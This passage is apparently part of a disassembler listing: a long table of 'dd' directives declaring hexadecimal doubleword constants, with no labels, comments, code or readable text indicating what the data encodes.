		dd 0B634B14Dh, 1C25348Dh, 0A12D167Bh, 28225725h, 6E2C9FBCh
		dd 2B3393A4h, 0CECA08E6h, 245BD572h, 7C2C8CDEh,	92B12323h
		dd 8629D31Dh, 0DD2FB904h, 39EB7A03h, 42EFD036h,	0ADA8AD9Ah
		dd 0E027E416h, 0C21DB66Dh, 0D76892D7h, 59697AE9h, 0E9CCD82Ch
		dd 73EB683Ah, 3A552A61h, 0D7788BDAh, 82005304h,	0E4310880h
		dd 28D0359Bh, 0DBBF765Ch, 0CADDE594h, 0CEE98C0Ah, 0ECF32C41h
		dd 115C3025h, 8DBE9B76h, 0E95A7C0Fh, 0B50F116Bh, 0C9C525D3h
		dd 0EF89B4C4h, 0FD2E5A1Ah, 384039B1h, 0A6BCF6E5h, 0CA5454A1h
		dd 565E115h, 0FA2FDE08h, 0FEC49CEh, 0CB7B4A17h,	88CB0913h
		dd 0BDBC280Dh, 7EB00166h, 2DA666CCh, 64AC3EE9h,	0AE9ADF72h
		dd 0BDC89A72h, 31FA94ABh, 1B89D8D2h, 0FB3C6261h, 21BF07DFh
		dd 0EDDBA95Ah, 0B3F6285Eh, 6C9D11A0h, 0BF4F64CFh, 8BCA90E0h
		dd 6D2E11CDh, 0A83BAD1Fh, 156F4BB6h, 0FBC99358h, 0FDAA8096h
		dd 0A82B68E8h, 0AF279227h, 638BBE87h, 0DCF199EDh, 4024FCE2h
		dd 0B108B863h, 787ECA51h, 91659B99h, 0CC061B2Fh, 0C671E65Fh
		dd 8F98A61Eh, 0B948216Dh, 25F53D56h, 3A8BA0EDh,	998559DEh
		dd 4EEF014Dh, 0B4EA36C0h, 9E8E0C71h, 693DECACh,	63B69F3Bh
		dd 0FB8E6AE9h, 0AF2B0752h, 0F55B9269h, 4A0BDA65h, 8ABF7ACh
		dd 65FC9612h, 0A4BB62B4h, 0BCEE98A5h, 0C24CCD2Dh, 479C15FBh
		dd 5B45653Fh, 0B6A17C16h, 6CB515AEh, 0A63743A7h, 95979C1Ch
		dd 22E7C56Ch, 0D19675CDh, 0D2ABBD16h, 0BBF7965h, 0EB12154Bh
		dd 7036DA9Ah, 4C59A7CAh, 0F218E5EDh, 16A49438h,	0C48BB9D3h
		dd 24B812FCh, 55CF7170h, 9CDED76Eh, 586450E0h, 0AA354850h
		dd 731B288Ch, 49EEA9Eh,	689ED59Fh, 34869BCFh, 1FD4C366h
		dd 25E34A4Bh, 7D6D5538h, 508166BBh, 0EC5F1631h,	6D10A53Ch
		dd 0EE8C7865h, 49A2EE94h, 417FF46Ch, 47DE9999h,	6AA2F5C2h
		dd 53E85631h, 8B0ADEFh,	1FAA1512h, 0C3D1E99Bh, 2612E9F3h
		dd 5E288C77h, 0BAFD0A45h, 0AAE5EFF6h, 4BE9C32Ch, 76684763h
		dd 0E666A86Fh, 0BE46FA57h, 96FEA768h, 4B5E3026h, 0D23F0537h
		dd 8B15EACCh, 56205346h, 71361C8Dh, 0CCC56FADh,	40B5AEB9h
		dd 8653B39Eh, 39FBFF86h, 0E9AEA1BAh, 41A33594h,	240D86C9h
		dd 0A7BDAC6Ch, 773AD0F5h, 0EEFF7756h, 0DAFFAF68h, 915E114h
		dd 0F8DE078Fh, 73F51F6Ah, 8CBA5C2Ch, 43FC9A97h,	62A9C09Dh
		dd 0F2E6E1E0h, 468304EBh, 1C4C4857h, 0E5329C06h, 59AE0665h
		dd 374AA973h, 31E43E37h, 70316D95h, 0BC5C7724h,	1CB97B7Eh
		dd 54E3E157h, 3EB14408h, 238C00A9h, 0A5214F6Eh,	3BCBB29Ah
		dd 99D33B83h, 0ABE74C6Eh, 3A57D8EFh, 3D709C32h,	0DD37F759h
		dd 7C576ADAh, 772A626Fh, 2D84AE59h, 385DF65Fh, 85C255EFh
		dd 62726162h, 0CEDE55E5h, 541DA2B1h, 0E6712DA4h, 46A2A232h
		dd 26CF2502h, 5DB27EF0h, 15A7DD76h, 0CE3CFCECh,	55297112h
		dd 107766DCh, 0BAFBD317h, 10B724B2h, 89D64A3h, 0E14EF7E3h
		dd 0DD11F618h, 38A4A569h, 97FC2391h, 9AF598AFh,	0ACE845E8h
		dd 24744392h, 9E8DD92Bh, 82E72A6Ah, 0DCC49EAAh,	7A5EBE67h
		dd 1DA6F117h, 567DE9BBh, 3FF71BDDh, 4B9F8482h, 0EDD7E866h
		dd 433B7E49h, 0F8634D8Bh, 17D4B507h, 0A5B1B7ABh, 4C247CDAh
		dd 4A489337h, 0C68DB5BFh, 61FECB14h, 0BCF3CEB3h, 8F33781Fh
		dd 0C402D50h, 7177673h,	267E60EAh, 572F803Bh, 49EB3442h
		dd 0F87AF226h, 0D1903FBBh, 0BC0E8672h, 5716CD41h, 0D2F033A7h
		dd 15E76B2Ah, 0F7765A1Dh, 0B192AE9Ah, 0DF83A833h, 7AAAEEE8h
		dd 2516D4F6h, 0CAFC3688h, 77EAE669h, 60ECD46Fh,	0B65D96E1h
		dd 0CA315D0Bh, 2967715Fh, 0B47A68ECh, 530BAD8Fh, 3CB57EBh
		dd 0E53B656Fh, 3EECECE7h, 758A12FCh, 0B207BF44h, 55B6A2B3h
		dd 0FC4B279h, 0CCCB7A5Bh, 647E6771h, 88D5E6Ch, 8580412Eh
		dd 9D7A7F7Ah, 30396769h, 24ABFF5Ah, 0EFEC135Ch,	72E0C081h
		dd 7DCA2FE9h, 8ED2928Dh, 13802BB3h, 6C165D06h, 51D6A21Dh
		dd 75DCB567h, 0EB173ED2h, 9F442B52h, 4A1BA3E7h,	0F82290Fh
		dd 5543F948h, 0C7A7073Dh, 0F17E3AF7h, 0E320D2EEh, 33FD3C36h
		dd 76B3895Ah, 8A2DD780h, 95DDAED2h, 0E2F6DA5h, 9F0D16D3h
		dd 93907E6Dh, 3EFD9B03h, 0BB1C92CBh, 52C92C4Ah,	9FD1047Eh
		dd 0F812010Ch, 0CD99E385h, 0C0FAB6Eh, 0B67710BCh, 3D92837h
		dd 97C70338h, 0E0B77E25h, 76C08D66h, 0CB9DDDE8h, 9746E1BAh
		dd 0BBB463D9h, 0C3ADDCF6h, 0CDA6DEE2h, 0ABD7060Fh, 0BCD01A98h
		dd 0B2352546h, 0A3EDFFB8h, 0F09B0AB5h, 5BDD60EFh, 86C26242h
		dd 0A0AE3B13h, 8C4637DDh, 8621B291h, 0E6BF9B35h, 64B59343h
		dd 0CA2881E2h, 79F22F85h, 0B6861E99h, 73801688h, 2BBDB1C4h
		dd 52073C19h, 29B9D9Bh,	5FC0BB77h, 0DDE1A908h, 467CA2BAh
		dd 14F2F80Dh, 0E2FF082Dh, 6AF2DA6Ch, 9A8E4391h,	8AE8A93Fh
		dd 0E3F3250Ch, 0CB1C6C77h, 56198982h, 6654FF91h, 0FD455429h
		dd 0D2CFA51Eh, 4C8A6AAAh, 0AACB65BEh, 5C0EB407h, 0A855B168h
		dd 5A591B75h, 5F9F1C83h, 0FBAA776h, 0B55AE292h,	0ECFE82Bh
		dd 636D8179h, 28C7A35Fh, 866E14DBh, 0DE332784h,	3A3E0D2Dh
		dd 186D867Fh, 0FD0B0F60h, 7AE0A6D9h, 0D020C72Bh, 449287B8h
		dd 5C1CF9C7h, 8A1BFBD9h, 0E26D65BEh, 3D1BEF87h,	198C1086h
		dd 4C3D51CCh, 0B91AA68Dh, 86AEA54Fh, 5A2FA987h,	715AA08Dh
		dd 5F40FB66h, 56CA2B58h, 0F168F52Ah, 0B1692DF1h, 86FB515Bh
		dd 0D5F30683h, 6F04677Dh, 2FCB093Fh, 0BF8BC7A1h, 3FCFBFB4h
		dd 8E52F26Ah, 793A28Dh,	0E2312856h, 17BA10BBh, 0E68D8C55h
		dd 598FF552h, 0F5FFFE94h, 0A70AFAA0h, 0B1E7EB47h, 0D51D7B78h
		dd 0DBECA665h, 0C6E643FFh, 0D5BF7317h, 2A3725D1h, 8623F6B2h
		dd 0EDA7AF12h, 95E55F78h, 0E46692D9h, 30DA2C0h,	0B5E84F44h
		dd 7B3474DEh, 60FCC745h, 6E587969h, 0F279D342h,	52FA662Ah
		dd 22FAE1B4h, 8349D61Ah, 0AFDA5517h, 9E2899C4h,	70B94996h
		dd 60499ECFh, 0B7A86BE5h, 1706E879h, 9101097Fh,	75B15D5Ah
		dd 54E5842Bh, 25FEEA21h, 1477E93Bh, 82DB56E8h, 0B5E00B8h
		dd 54EBABBDh, 0B75CFA51h, 75B100E3h, 0AE3C71CCh, 3C7DFE3h
		dd 0A31383E9h, 223A7398h, 5ACAAE0Fh, 3F34FFD7h,	0E3B5A429h
		dd 19A2A11Ch, 1C754692h, 1F2F807Dh, 0AE31CACBh,	0A5BA34ACh
		dd 3514D78Fh, 6E52AE6Bh, 0BE553759h, 117CD1E5h,	0DC6B1137h
		dd 0FC0C4DF5h, 9562EE6Bh, 8B056D7Ch, 6C33FA6Ah,	0E502DDFAh
		dd 0DF17EE1Dh, 4CD179B4h, 0D9F3E1F5h, 2AE5E3EEh, 23EA3339h
		dd 85CF9F44h, 5C1F68E9h, 398148FFh, 6DDE7C4Fh, 1639FB4Fh
		dd 0CCF39AF7h, 839DE757h, 0EBCEA936h, 0E2353239h, 4153E992h
		dd 0EA9D28EAh, 3F942D90h, 83E7A36Dh, 75F05C05h,	0EDF4EFAFh
		dd 0DB8D487Eh, 63C5286Bh, 2F562754h, 2F3666AFh,	0C0CA04B4h
		dd 7F911637h, 0E55DB10Ah, 9907FA2Fh, 42C7EE1Dh,	41F920AAh
		dd 0F3A7BB95h, 0D4A0C18Bh
		dd 2BEFB71Fh, 1CBCBF1Bh, 0F6AAA2E1h, 1DF99BFBh,	0D25D38ECh
		dd 9DF20292h, 7BB3256Ah, 45F7706Dh, 0B45DD528h,	0BD0FB59Ch
		dd 3C07A0Ch, 80866A37h,	9C8A72A3h, 71622899h, 0BB523DF3h
		dd 0F5716278h, 0CB0E7B38h, 0A66E6859h, 0AF61B056h, 0FFE93308h
		dd 3A7B67CAh, 3F8FAAFAh, 78E765FCh, 0AE5BD493h,	96110069h
		dd 2EFE257Eh, 5248C41Bh, 61F23771h, 0B1728EF7h,	0BE87B6F5h
		dd 0D80BAC0Fh, 587827BDh, 3AB7F1E9h, 1B3ACECFh,	94D5C2DFh
		dd 4D7AB508h, 2676ECD1h, 8654B81Dh, 5E8C8CA0h, 0E15B6E5Eh
		dd 3C3FCFE4h, 5FA37D19h, 1EC5D3BEh, 0CB97EE1Ch,	0FAC5F846h
		dd 4A05E6D1h, 0C582E4A0h, 0D04B676Ch, 0C4817E5Fh, 71A9E341h
		dd 87EE8503h, 36FBD385h, 0CF21435Bh, 0E40D98B2h, 4EFEF7E4h
		dd 59D78CBBh, 5ECE0606h, 5C2037DBh, 0B955A9F0h,	59D8C16h
		dd 1E6E38EEh, 692294BEh, 0D4E8FF43h, 86AC0706h,	7E8E56C7h
		dd 5F971F99h, 6E862F28h, 3D9892C1h, 0CD1160ECh,	0C61DC3D6h
		dd 3DB9BDFDh, 64246224h, 0C123859Ah, 0BB5B8B4Ah, 7CA8F5B3h
		dd 32C3B489h, 7CA74EF1h, 363EDDB8h, 0B6AB117Fh,	729DFF4Ch
		dd 54AD44B4h, 0BC138B98h, 589811D9h, 176C2EACh,	6C900D76h
		dd 0ADE50A38h, 0FC45C075h, 1124A090h, 0E0258955h, 26AA57C8h
		dd 1528D756h, 9F206DB8h, 1B631A75h, 0E6310C69h,	0B459B89Bh
		dd 9D9277B8h, 0E333A3AEh, 5931925Fh, 2B4739A9h,	0EFC6B676h
		dd 0DD66EF6Eh, 0D130C260h, 241BCF98h, 88E21E98h, 0FADCE963h
		dd 89F6DFE1h, 3D8F2F12h, 667CAEA5h, 0B63731FEh,	0BEDF0CB7h
		dd 0E3E0DEA3h, 0EBE44A83h, 74DD8213h, 5025EE30h, 0FA3923BDh
		dd 0A4DC4716h, 0CC866502h, 0A34D15A6h, 33D63919h, 0CA60642Eh
		dd 8345C8B4h, 2D91A0D7h, 7FB5FCD9h, 54C12CF9h, 3909C62Bh
		dd 0B11EAE96h, 0ABD5F441h, 9450535h, 9AC94959h,	9898C16Eh
		dd 414FB16Ch, 421D7C04h, 2258F4E1h, 8A8C021h, 0D4768541h
		dd 0BC4CE0ECh, 7E88716Bh, 0DD35CF29h, 0C45FA902h, 0A05CC4C5h
		dd 37CF5BC0h, 0D128987Eh, 97DFA6Fh, 0B67BFE8Ch,	0C9DF4660h
		dd 33070EBDh, 9D98080Bh, 0EDD42211h, 0C264F397h, 448A3D3Dh
		dd 4655D790h, 686CC134h, 940A1444h, 0E6A303EBh,	11B7885Dh
		dd 0D2DF2CA7h, 3FE3D577h, 1FE9A991h, 7B20ED82h,	99497E3Dh
		dd 0F4A61DDAh, 0DACDFA77h, 3C1FADC1h, 36ADCDF3h, 6CFB2C1Eh
		dd 5674EA5Ch, 2F2E2847h, 138DC41Bh, 0D44FA707h,	406CF7Dh
		dd 4758197Dh, 49AC7BD3h, 25F1951Eh, 6A4B4383h, 17C3CBB1h
		dd 2B9378A8h, 8F315F15h, 89FD83EEh, 75E14B03h, 0EEBD2B5Dh
		dd 26EBED72h, 0A1728AC5h, 0D57EE59Ch, 7FEB88DBh, 40FB8ADCh
		dd 4C589260h, 0AC66A261h, 926A5CCBh, 0F6572D48h, 218FB6A9h
		dd 4B9C1A82h, 0B5BEB574h, 0AF61DDDCh, 0B32C6049h, 30B64203h
		dd 0C06740BEh, 0B6B8F568h, 0C41F4E7Fh, 23209432h, 0F99C1A3Fh
		dd 56C86D20h, 2405C562h, 0F7C2CA9Bh, 0BC7F069Fh, 0F8512E6Ah
		dd 1D64BF1Bh, 5A290FEEh, 0ACA028A9h, 0FC88DD49h, 0D92166Eh
		dd 3E177E07h, 0CEDE5055h, 48746FDDh, 0EE061819h, 0B9CA4F20h
		dd 7E350D7Ch, 8D72FEBFh, 7DFB3FDDh, 0D1C112B2h,	0B8A65472h
		dd 0FED9ED2Dh, 8E7E1E20h, 0D26B1796h, 7DDC9FB5h, 5BBDE6F8h
		dd 7BE019A9h, 794AC9C0h, 414AB1ADh, 0D8F154F1h,	0E628F9F2h
		dd 0A2692797h, 0CFE4DA5Fh, 0E0C270E3h, 92463EC1h, 9A8040F3h
		dd 1EE25819h, 772BEA37h, 8ADEB9BCh, 7446DCA4h, 5F3C8EF3h
		dd 49916A9Bh, 4E0B5FF7h, 4CAF7823h, 27D177BDh, 0E9DB95F3h
		dd 0C1599032h, 344A6506h, 5C0E3183h, 0B74C9D7Ch, 17CFD1DFh
		dd 5BDAB0CDh, 0BD5C9201h, 1C8DCE25h, 365984AFh,	9EA9F8C0h
		dd 0D22F3A63h, 807CAAA8h, 6D410B7Bh, 6647185Dh,	0B4562055h
		dd 0A6E20CD2h, 8872D82Fh, 0B5D8B1B1h, 0D4A1ED1Fh, 0AD563348h
		dd 0AFEA29BBh, 0AABAA5B1h, 4DFD9B94h, 89D826D5h, 8C4DACF3h
		dd 29FB5418h, 0C7B255FDh, 1C6894ADh, 0E6C8EC85h, 0F3F12EC1h
		dd 0C55D80AAh, 4A977FB5h, 0EB2BCD87h, 186FF067h, 0FC199F79h
		dd 0D8D7B598h, 0C5F5E72Ah, 3A6A3784h, 435EBE2h,	0F593ECFEh
		dd 0B42A5AD1h, 56AA17DDh, 0B8AA79B0h, 8E9256ACh, 8A434467h
		dd 311F8DA6h, 0A616F1A6h, 0FF32EFCDh, 99854BD6h, 0CFE477F6h
		dd 7A1D6F42h, 0C6D25FFBh, 0D6A9F9BCh, 915053C3h, 495D2C0h
		dd 219EAA8h, 0CAC54CA8h, 0E3388CE9h, 6CF8FF0h, 1371E5Ch
		dd 0C0FC7AF1h, 0CDA0AF65h, 0E156AA86h, 0BA41C59Ch, 0A36F31FFh
		dd 1867E56h, 0DF9AC8F8h, 0C49DF7B5h, 154DDA21h,	93D619E4h
		dd 0B259D407h, 28B47063h, 0C2EDE6BEh, 3D37CBEFh, 5D68D9E3h
		dd 8258260Ah, 56FD94E9h, 33F696CAh, 0C77AEF95h,	0F81E5D4Ah
		dd 0BCD95AA3h, 0A8558EACh, 4CFB7142h, 42A7E64Ch, 0D8D9BF3h
		dd 0C931A1FDh, 0E5CDBFB3h, 0C99D809Fh, 4867F8C2h, 0DF55D82Ah
		dd 0EADD2607h, 706DE99Eh, 3F292879h, 58A2849Ch,	7AFEE0FBh
		dd 3B5C3CB1h, 39198753h, 855248AFh, 0C3429AA2h,	34D40EBAh
		dd 0DF832BF5h, 0C5ADFB2Fh, 76691ACCh, 0AF7B6B12h, 0ABE40B2h
		dd 2AD2B0F7h, 81F2DF7h,	355A55E2h, 1F47EAE5h, 0E4ABAC78h
		dd 3FBF8CB4h, 548C2304h, 5AADE595h, 9D7474B0h, 6BB3C2Dh
		dd 983B8286h, 287FDF33h, 975A31EDh, 9BEF80C8h, 0A723AE05h
		dd 0E9F0C365h, 0A8D0692Fh, 0CCC50B9Bh, 0DA2526AAh, 3764C3A6h
		dd 30E79165h, 84318CC4h, 64BBA06Ah, 7E3DF689h, 4712DF73h
		dd 0C0F889F6h, 0B8FF7DC1h, 0D6E7E70h, 3B1A0CF4h, 1372D2CAh
		dd 1A7255A2h, 8D1BAAC4h, 15B1A0DCh, 0D37D35A9h,	0A4EDC3F0h
		dd 0ECFED31Dh, 51E8C6CEh, 889C5DDAh, 0AADE5EF6h, 0A767CAD0h
		dd 562C6DC8h, 7D72FC92h, 620F437Bh, 14C7F325h, 7346E2C3h
		dd 36F78D52h, 1FA4588Dh, 4CA2D8BEh, 0CF986559h,	0B3340899h
		dd 0EFCB8661h, 0C4C934CFh, 67175B0Fh, 0AE2F6F2Eh, 7F33F288h
		dd 1318A9B1h, 3303E4F5h, 93F2AAD7h, 55CAF9F0h, 0F673A85Dh
		dd 8B42FB4Bh, 5707916Fh, 72C4E6BFh, 0CCEABBFDh,	0D53CEBB1h
		dd 0CFA925B1h, 653D0454h, 0AB24DF59h, 4739A8BBh, 74194552h
		dd 0BB9C57DEh, 0ACDF46CEh, 9891E0CFh, 0FF4C5FEh, 198C5376h
		dd 6618EA7Dh, 672FE819h, 0D7D29716h, 62449356h,	14BDD3ABh
		dd 0EF05E15Ah, 0BA338C0Fh, 0FF25B9D0h, 0A6759409h, 21F85B61h
		dd 9750EE2Bh, 0C50225Ch, 3F2263Ch, 0A1B424FBh, 56D1A5C1h
		dd 0BA79481Fh, 3AFB3FE6h, 0C5B1C84Eh, 0BAC5CCD5h, 92C26260h
		dd 6E7574E1h, 0D3CB8A66h, 3FBC2B44h, 76978D72h,	406D1215h
		dd 87A7EA34h, 0C5FA36F0h, 0ABFD3BE8h, 78B94AFBh, 35C425CAh
		dd 0EA4B205Fh, 9C2DAE5Dh, 7CD5F562h, 0B5981DA6h, 0B7929127h
		dd 0CD667801h, 0FCBB864Ah, 5E0195D4h, 0F0EFDECh, 967D2D5Dh
		dd 0FBE9A818h, 0B436A714h, 0CD6B0884h, 749601DEh, 788A424Bh
		dd 452E657Ch, 0EFE9FD44h, 8761192Bh, 674942F4h,	0B717E5BAh
		dd 0EFD4A14Bh, 19B903C2h, 0D599AB2Eh, 477162CCh, 16F90522h
		dd 0AE260B60h, 556D891Eh, 0AAF1C95h, 0F3AF1248h, 0B9683E09h
		dd 0B9CBE259h, 37CF7E0Eh, 0C51B1186h, 0E54BD51Eh, 5CC065E4h
		dd 21B9AF37h, 0AA599C70h, 0C4E84589h, 0D4DF0139h, 0AD57283Eh
		dd 6026A598h, 91B4F4FBh, 9761F1F5h, 8F26FBD3h, 0C6E029B1h
		dd 8F628D86h, 72367818h, 2C18A5EAh, 71DABC7Ch, 0DCA2BFC3h
		dd 0A9999EE3h, 0B36B2FCDh, 4FE9F37Dh, 0DB3188FFh, 91C3793Bh
		dd 6E09A960h, 43505A05h
		dd 0FA949C04h, 0D3F0C8FDh, 67AD82CFh, 3BF6BA1Eh, 34B972C0h
		dd 0CA8E1CEDh, 0ABE8F8DFh, 0A94B55BAh, 88B63098h, 47F67EC9h
		dd 0C613B82Ch, 0C5F27AD6h, 0E54A49EAh, 8AAE2B0Fh, 6BE499EDh
		dd 191AD197h, 0CE964CADh, 3BF98234h, 2BB37303h,	0FD9A8F2Fh
		dd 0F86BD0AEh, 0C2A5120h, 2541F670h, 43965619h,	5C0A9F73h
		dd 2FCDB3ECh, 0A2EF2FF6h, 22EA9A0Dh, 0FE8EED76h, 0E14F670Dh
		dd 0B68DE518h, 4D5FB2E1h, 0A6F9AE58h, 0AEE2F276h, 487270EEh
		dd 0EE7BCB31h, 58A33011h, 0A548B308h, 7BE037F5h, 0B51EAD6Dh
		dd 30190F70h, 3FB4DA8Bh, 0ED291AF0h, 6EE6F0B8h,	0D7E6E7F2h
		dd 18DBB754h, 0FCFBB122h, 1855FCDDh, 88E4F285h,	79EEB8BBh
		dd 92279464h, 353EF1C6h, 0C2484F59h, 9A4B7725h,	0DCB6A4FCh
		dd 0E098A3A8h, 4FB5D7AFh, 0A34AB234h, 0F52F736Ah, 85BD098Ch
		dd 9E9CF5AAh, 55A09552h, 0B74A4C8Eh, 4EE55211h,	9D0FB010h
		dd 7E02AAD8h, 0CD09C066h, 0D9AF97D1h, 33066661h, 2F436F13h
		dd 0B4493675h, 9BF83B50h, 0FA70763Ch, 37783AE8h, 87DAFC67h
		dd 579B834Bh, 0FB39BFD5h, 0F5FA12C5h, 5D08C79Bh, 0D5C47EA5h
		dd 89926209h, 9ECCAB24h, 0CCC559Eh, 78571C5Dh, 30989B39h
		dd 6DFE4EF3h, 6D42BFCDh, 0B5552901h, 2B99AF49h,	0CCB63AA5h
		dd 0E86F23C5h, 0D13131B6h, 7BE986C2h, 614BB5AAh, 7435DDDBh
		dd 0D3F191A5h, 73808371h, 41DCF078h, 4BBC49AAh,	0E9550162h
		dd 0EE43C5E5h, 25740044h, 0AE3619D1h, 78BA7671h, 4C7CDFD6h
		dd 16ADAC0Fh, 2B5110AEh, 22466282h, 2B5843D9h, 12FDFC79h
		dd 0B3381F46h, 677ADFE8h, 2A74631h, 9E91FF7Eh, 368591h
		dd 5E7DF5D2h, 0A372555h, 0C7995663h, 0CD414953h, 0E804A109h
		dd 148D62D1h, 18FC4A1Fh, 1C0471E1h, 0C987D77Bh,	0C1353C18h
		dd 3FE6ADFh, 357D0413h,	8A40BC84h, 4F87A71Ch, 0F3ADD9C8h
		dd 7C4B3B17h, 0A7C7BB95h, 0E0D2BAE9h, 0D253A26Bh, 0D3A01402h
		dd 858FD649h, 0AD6BD3B1h, 512BE259h, 0ED3EDFC5h, 0DDB5B0F0h
		dd 4157DDEFh, 0FE2B7D45h, 821DC0FDh, 0AE4E11D6h, 6A8013ECh
		dd 0F77C88ABh, 94ED2ADBh, 332A3656h, 0B10342Ah,	328460B1h
		dd 0B09436E3h, 0E4568C63h, 984677B9h, 3A98F46Eh, 5D31DCD7h
		dd 878FA471h, 0CE41EAD1h, 8F1FE2F4h, 0D73486ECh, 6BAECE5Fh
		dd 1E3BD2E3h, 0FDD1B98Bh, 902F6534h, 827640B0h,	0F47B220Dh
		dd 0C8EE2F45h, 8B1352D1h, 0FFF25355h, 0E0C1D38Dh, 0DADB4A17h
		dd 4950A1DFh, 7BDD3AE9h, 9AB5B465h, 0EFB7A1F5h,	0D81EA25Dh
		dd 395CF9EBh, 8F376B2h,	9585C95h, 0A8FEAF36h, 87ED58FDh
		dd 0F5866058h, 0BA6CA617h, 0EE067B0Ch, 0E6F92CB7h, 0DB45ED87h
		dd 5D951EB1h, 0BEA1EB73h, 17F80C4Dh, 0E8DB37CCh, 0D288EACEh
		dd 120CF727h, 395724D4h, 327358EFh, 0B174B2DBh,	5B72DFEDh
		dd 0D66EA640h, 0FF3FCFB1h, 0C04A6682h, 31D1A01Ch, 0B9BE5582h
		dd 9B8C37B2h, 1C3E1DA3h, 84B8A9F3h, 0A737089Ch,	35B65E70h
		dd 4A8F7DE7h, 964E969Eh, 5422F87Eh, 0F6798C24h,	7CFFC1F1h
		dd 2FD04669h, 0E99C8EB8h, 640E18EBh, 55F0155Fh,	0FC1F8520h
		dd 2B89494Fh, 1B995B1Ah, 314782FEh, 0DE447C1h, 4A3A0FEBh
		dd 142D5053h, 8E7EFB54h, 0F2D9F608h, 8C138D44h,	454AB32Ah
		dd 0A5F71038h, 8900D193h, 2BD6D8Fh, 11FB6A67h, 182D97F9h
		dd 0D126691Eh, 4FA48E6Eh, 3EDABA8h, 79E93613h, 262E33DCh
		dd 335BD06Eh, 0E637373Bh, 9A2D87E0h, 7B790681h,	63AC89DCh
		dd 6FF33F1Ah, 0BD315767h, 0BC0DCF51h, 1F65028h,	5810DABCh
		dd 0A667D1A2h, 0BA676236h, 4C7C5B07h, 0F983C0C2h, 49DE0067h
		dd 94778F54h, 0FC62B50Ah, 701707C4h, 7C4128A6h,	24FFD28Bh
		dd 9A455018h, 0B40290E2h, 221F5D29h, 3895DE15h,	3ACD8FF9h
		dd 7DE9913Eh, 8D5B8588h, 455005CCh, 16F56EE1h, 2A98646Bh
		dd 0E51EA20Fh, 7A2FB871h, 3CAB5C36h, 0F9BA79CCh, 0D42BCA05h
		dd 69B23704h, 0D44A3ACBh, 1ED9F1D4h, 0D0BB8B15h, 0D6EA4163h
		dd 0BD921DD0h, 27F52A8Eh, 3D47B95Ah, 0CC0389Bh,	0D073078Dh
		dd 0D988FDA0h, 0EF29445Dh, 8CDB495Ah, 0A2AFD7DFh, 7339B65Bh
		dd 0C4DAEDCAh, 0BF37078Ah, 8A87C9EDh, 0EBD0EC93h, 9EC30F16h
		dd 0EFA83DBFh, 0D581F1BBh, 76CE324Ah, 63B0FBF1h, 0A183B260h
		dd 8899D9F0h, 5CE05A68h, 6BDDD81Dh, 1EC63460h, 9B356E67h
		dd 457756A9h, 0D59BF7F0h, 4B0CCA0Dh, 681FC452h,	1650739Bh
		dd 95A705A0h, 93BA4BBEh, 68B64078h, 4A4E7CADh, 0BE55BFD5h
		dd 0A98AF8AAh, 6A7CB547h, 21BE96B3h, 8B8B98AFh,	480C8ACDh
		dd 89C2B33Eh, 63772E15h, 9C4AA0FFh, 3A6F0D03h, 3E909D11h
		dd 4C25A5ADh, 0ABDFCF07h, 0BD73D896h, 9CE3EB44h, 224FA06Eh
		dd 69D824Ah, 2A88DF03h,	6F565C81h, 0B67F69D7h, 446988C1h
		dd 39DC5A91h, 8A9D64CCh, 569D358Ah, 6CDD91C2h, 6342FB64h
		dd 4CD7F190h, 5055E224h, 8ABA900Bh, 52379C12h, 115BDE12h
		dd 0B68B0CC0h, 4CE91A37h, 3F7D5EB4h, 18076591h,	423CE55Dh
		dd 88CB19B6h, 0DC5CE55Dh, 587AF937h, 76073957h,	2359E9Eh
		dd 36741DF5h, 70173592h, 197A9B71h, 3E0879DFh, 0FFBB7138h
		dd 0A22D1C05h, 0BE4358D7h, 0B0D2A5F6h, 149807DFh, 0D1E431FBh
		dd 52DC948Ah, 0FA7BA5B2h, 6980DD6Bh, 0E44C99C6h, 68ED238Ch
		dd 0AC2015A7h, 0CB45D50h, 0F5AED52Bh, 30AB9ECh,	0D427834Fh
		dd 0E1B91E68h, 0CF7AF7EDh, 0DF381250h, 920752E8h, 4CBE6A2Fh
		dd 7B77FB4Dh, 0AA070790h, 17A12D8Dh, 0B9EC0B6Eh, 0D50B3AD1h
		dd 304A3398h, 4DBE93A0h, 0B48CBCE6h, 0A458C385h, 3DC5E85Dh
		dd 957B3771h, 0EE33C0B9h, 0D7652319h, 0F55AD89Eh, 848B4D8Eh
		dd 2BD3D592h, 8E8B9DC9h, 0B4B84B16h, 0A7EEA632h, 8BF91D34h
		dd 0FE83B25Ah, 0ABA3DBA4h, 0E1D4037Fh, 6869C9BDh, 6AE6ED11h
		dd 66E99A53h, 0D1C68F1Dh, 5DAE2BA0h, 0F568DD7Bh, 0D14637A6h
		dd 9DAED476h, 5299C113h, 97E03385h, 85EE4A8Fh, 0CD5FFBB3h
		dd 0E976CBADh, 2EFAE85Fh, 71971CA5h, 4C5CAB36h,	1616A896h
		dd 8116157Dh, 0AF2BD3C7h, 0BCCDFF8Dh, 6AD4951Dh, 0F9955CB5h
		dd 46A5835Eh, 0C4DD0A9Dh, 4B1D0FC4h, 0E339F01Dh, 52A6A9A7h
		dd 8F220964h, 2FA38ED7h, 0B6A8C602h, 505A4ACEh,	6BB0CC74h
		dd 6170AAABh, 41E242C4h, 1A0DFC3Bh, 4685FD0Fh, 41F6D45Eh
		dd 37FB4763h, 31730CEDh, 10BFF7E1h, 0D2DCC7Dh, 0D91D9C3Fh
		dd 8A1C943Ch, 182F5656h, 0B3104F5Fh, 9547C0B8h,	0D39E5A20h
		dd 0FC7D74A6h, 0A1504ABAh, 7FCC242Fh, 5FDCB412h, 0D199853Dh
		dd 64F45F2Dh, 472C6731h, 3AD85095h, 79DD733h, 0EE31BF7Eh
		dd 0C6346996h, 0EC5545FDh, 0BBAFA7A6h, 0A7FB107Ch, 0BAD6283h
		dd 0D7766767h, 94D205D8h, 4C3942E6h, 0C6B5F6AFh, 0A3484F72h
		dd 0DF5AAC9Ch, 6D6BC2F4h, 1CD7606Bh, 0ACD86176h, 0A7E7D09Ah
		dd 477719C1h, 5F5F86EAh, 7EAD144Dh, 0DD7B3AEAh,	0F9F478Ah
		dd 0A14E55FCh, 2F771172h, 78BF58E0h, 40C3FC26h,	19371ECFh
		dd 0F577120Ah, 9CA4373h, 473C3CB6h, 6FCA36BEh, 0DD5E543Dh
		dd 9E75A812h, 71B34CCh,	6D118E83h, 9192B64Dh, 548FC7DCh
		dd 5251E3C0h, 0EB41DEBBh, 13AAABDAh, 0FC9C190Eh, 0D7162F9Eh
		dd 53F7927Dh, 639A4CDFh, 0E889015Fh, 0E640BF7Ah, 0D945DBA5h
